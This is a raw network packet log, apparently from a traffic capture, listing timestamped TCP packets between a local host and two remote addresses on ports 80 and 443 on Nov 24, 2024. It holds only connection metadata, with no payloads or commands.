Nov 24, 2024 04:20:24.890767097 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.890773058 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.890803099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.890837908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.890839100 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.890985966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.891169071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.891232967 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.891258001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.891490936 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.892070055 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.892123938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.892244101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.892335892 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.892951012 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.893009901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.893065929 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.893203974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.893853903 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.893906116 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.893908978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.893953085 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.894721985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.894784927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.894836903 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.894890070 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.895622015 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.895673990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.895760059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.895961046 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.896569014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.896634102 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.896648884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.896706104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.897403955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.897465944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.897504091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.897627115 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.897955894 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.897970915 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.898037910 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.898045063 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.898122072 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.898335934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.898396015 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.898480892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.898577929 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.914848089 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.914870977 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.914932966 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.914968014 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.914997101 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.915096045 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.921119928 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.921147108 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.921189070 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.921247959 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.921257973 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.921401978 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.922303915 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.922319889 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.922408104 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.922421932 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.922679901 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.923309088 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.923362017 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.923404932 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.923422098 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.923451900 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.923471928 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.928890944 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.928906918 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.928960085 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.928966999 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.929017067 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.933708906 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.933729887 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.933785915 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.933796883 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.933820963 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.933850050 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.934159040 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.934195042 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.934231043 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.934237957 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.934262037 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.934281111 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.936443090 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.936461926 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.936508894 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.936521053 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.936548948 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.936568022 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.941049099 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.941068888 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.941133022 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.941138983 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.941194057 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.943974972 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.943994045 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944071054 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.944082975 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944114923 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944118023 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.944133997 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944346905 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.944365978 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944446087 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944469929 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944511890 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.944519997 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.944540977 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.944555044 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.944567919 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.950992107 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.951015949 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.951100111 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.951117992 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.951175928 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.951287031 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.951303959 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.951349020 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.951355934 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.951380968 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.951397896 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.953641891 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.953669071 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.953718901 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.953726053 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.953768969 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.953943968 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.955470085 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.955492973 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.955534935 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.955544949 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.955591917 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.955591917 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.958468914 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.958489895 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.958564043 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.958580971 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.958635092 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.960434914 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.960450888 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.960510969 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.960517883 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.960561991 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.961875916 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.961890936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.961946964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.962291002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.962400913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.962452888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.963174105 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.963241100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.963267088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.963299036 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.964060068 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.964086056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.964123964 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.964124918 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.964147091 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.964157104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.964179993 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.964188099 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.964216948 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.964234114 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.964997053 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.965008974 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.965044975 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.965061903 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.965082884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.965143919 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.965159893 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.965213060 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.965878010 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.965889931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.965950966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.966726065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.966778994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.966821909 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.967022896 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.967055082 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.967055082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.967108965 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.967122078 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.967147112 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.967191935 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.967643023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.967662096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.967727900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.968509912 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.968568087 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.968574047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.968791962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.969508886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.969525099 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.969583988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.970693111 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.970707893 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.970772028 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.970778942 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.970830917 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.974076986 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.974100113 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.974138975 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.974145889 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.974183083 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.974206924 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.977754116 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.977780104 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.977817059 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.977838039 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.977853060 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.977895975 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.980448008 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.980469942 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.980509043 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.980515003 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.980544090 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.980567932 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.984574080 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.984594107 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.984647036 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.984653950 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.984682083 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.984702110 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.989465952 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.989487886 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.989537001 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.989547968 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.989566088 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.989600897 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.990823984 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.990840912 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.990880966 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.990886927 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.990917921 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.990938902 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.001295090 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.001310110 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.001385927 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.001391888 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.001434088 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.004487991 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.004509926 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.004549026 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.004555941 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.004597902 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.004597902 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.010082006 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.010102987 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.010145903 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.010154963 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.010185957 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.010205984 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.020636082 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.020653009 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.020710945 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.020718098 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.020765066 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.039566994 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.039593935 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.039684057 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.039684057 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.039694071 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.039752960 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.048192978 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.048208952 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.048255920 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.048264027 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.048301935 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.048317909 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.052433968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.052540064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.052556992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.052598953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.052917004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.052970886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.052977085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.053023100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.053781986 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.053832054 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.054020882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.054075003 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.054742098 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.054765940 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.054825068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.055803061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.055818081 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.055852890 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.055870056 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.055871010 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.055917978 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.055923939 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.055946112 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.055965900 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.056479931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.056549072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.056586981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.056634903 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.057354927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.057460070 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.057461023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.057512999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.058274984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.058286905 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.058331013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.058331013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.059154034 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.059176922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.059207916 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.059240103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.060080051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.060128927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.060137987 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.060188055 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.060988903 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.061036110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.061053038 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.061105967 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.061952114 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.062001944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.062144995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.062216043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.062726021 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.062779903 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.062846899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.062903881 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.063579082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.063627005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.063683033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.063729048 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.064321041 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.064336061 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.064403057 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.064409018 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.064487934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.064532995 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.064610958 CET	80	49718	185.215.113.206	192.168.2.6
